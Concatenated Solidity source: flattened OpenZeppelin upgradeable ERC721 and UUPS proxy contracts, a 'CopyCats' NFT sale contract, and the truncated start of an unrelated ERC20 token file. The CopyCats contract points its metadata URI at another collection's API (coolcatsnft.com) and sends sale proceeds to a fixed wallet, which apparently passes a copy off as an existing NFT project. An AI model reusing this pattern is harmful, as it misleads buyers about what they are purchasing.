function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721EnumerableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Enumerable_init_unchained();
}
function __ERC721Enumerable_init_unchained() internal initializer {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
uint256[46] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/proxy/beacon/IBeaconUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// File: @openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// File: @openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol
pragma solidity ^0.8.2;
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal initializer {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal initializer {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal initializer {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal initializer {
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// File: contracts/CopyCats.sol
pragma solidity ^0.8.0;
contract CopyCats is Initializable, ERC721Upgradeable, ERC721EnumerableUpgradeable, PausableUpgradeable, OwnableUpgradeable, UUPSUpgradeable {
string _baseTokenURI;
uint256 private _reserved;
uint256 private _price;
address w1;
function initialize() initializer public {
__ERC721_init("Copy Cats", "COPY");
__ERC721Enumerable_init();
__Pausable_init();
__Ownable_init();
__UUPSUpgradeable_init();
_baseTokenURI = "https://api.coolcatsnft.com/cat/";
_reserved = 100;
_price = 0.02 ether;
w1 = 0x510F0AfC37ef75F2006007BC37A5F9Ec33Df3A33;
_safeMint(w1, 0);
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _authorizeUpgrade(address newImplementation)
internal
onlyOwner
override
{}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Upgradeable, ERC721EnumerableUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
function setPrice(uint256 _newPrice) public onlyOwner() {
_price = _newPrice;
}
function getPrice() public view returns (uint256){
return _price;
}
function setReserved(uint256 _newReserved) public onlyOwner() {
_reserved = _newReserved;
}
function getReserved() public view returns (uint256){
return _reserved;
}
function adopt(uint256 num) public payable {
uint256 supply = totalSupply();
require( num < 21, "You can adopt a maximum of 20 Cats" );
require( supply + num < 10000 - _reserved, "Exceeds maximum Cats supply" );
require( msg.value >= _price * num, "Ether sent is not correct" );
for(uint256 i; i < num; i++){
_safeMint( msg.sender, supply + i );
}
}
function giveAway(address _to, uint256 _amount) external onlyOwner() {
require( _amount <= _reserved, "Exceeds reserved Cat supply" );
uint256 supply = totalSupply();
for(uint256 i; i < _amount; i++){
_safeMint( _to, supply + i );
}
_reserved -= _amount;
}
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for(uint256 i; i < tokenCount; i++){
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function withdrawAll() public payable onlyOwner {
require(payable(w1).send(address(this).balance));
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Vray
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
